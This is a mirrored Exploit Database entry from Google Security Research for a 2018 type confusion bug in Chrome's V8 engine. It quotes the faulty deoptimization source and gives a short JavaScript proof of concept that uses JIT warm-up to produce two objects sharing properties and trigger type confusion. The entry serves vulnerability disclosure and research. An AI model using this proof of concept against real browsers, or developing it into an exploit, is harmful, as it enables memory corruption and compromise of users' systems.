Chrome V8 – ‘TranslatedState::MaterializeCapturedObjectAt’ Type Confusion

• Exploit Database
• 116 阅读

• 作者： Google Security Research
  日期： 2018-02-27
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/44180/
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  /* Here&apos;a snippet of TranslatedState::MaterializeCapturedObjectAt. case JS_SET_KEY_VALUE_ITERATOR_TYPE: case JS_SET_VALUE_ITERATOR_TYPE: { Handle<JSSetIterator> object = Handle<JSSetIterator>::cast( isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED)); Handle<Object> properties = materializer.FieldAt(value_index); Handle<Object> elements = materializer.FieldAt(value_index); Handle<Object> table = materializer.FieldAt(value_index); Handle<Object> index = materializer.FieldAt(value_index); object->set_raw_properties_or_hash(*properties); object->set_elements(FixedArrayBase::cast(*elements)); object->set_table(*table); object->set_index(*index); return object; } case JS_MAP_KEY_ITERATOR_TYPE: case JS_MAP_KEY_VALUE_ITERATOR_TYPE: case JS_MAP_VALUE_ITERATOR_TYPE: { Handle<JSMapIterator> object = Handle<JSMapIterator>::cast( isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED)); Handle<Object> properties = materializer.FieldAt(value_index); Handle<Object> elements = materializer.FieldAt(value_index); Handle<Object> table = materializer.FieldAt(value_index); Handle<Object> index = materializer.FieldAt(value_index); object->set_raw_properties_or_hash(*properties); object->set_elements(FixedArrayBase::cast(*elements)); object->set_table(*table); object->set_index(*index); return object; }   For these 5 types, it doesn&apos;t cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion.   PoC: */   function opt(b) { let iterator = new Set().values(); iterator.x = 0;   let arr = [iterator, iterator]; if (b) return arr.slice(); }   for (let i = 0; i < 100000; i++) opt(false);   let res = opt(true); let a = res[0]; let b = res[1];   print(a === b);// false a.x = 7;   print(b.x);// 7   a.a = 1.1;// transition b.b = 0x1234; a.a = 1.1;// type confusion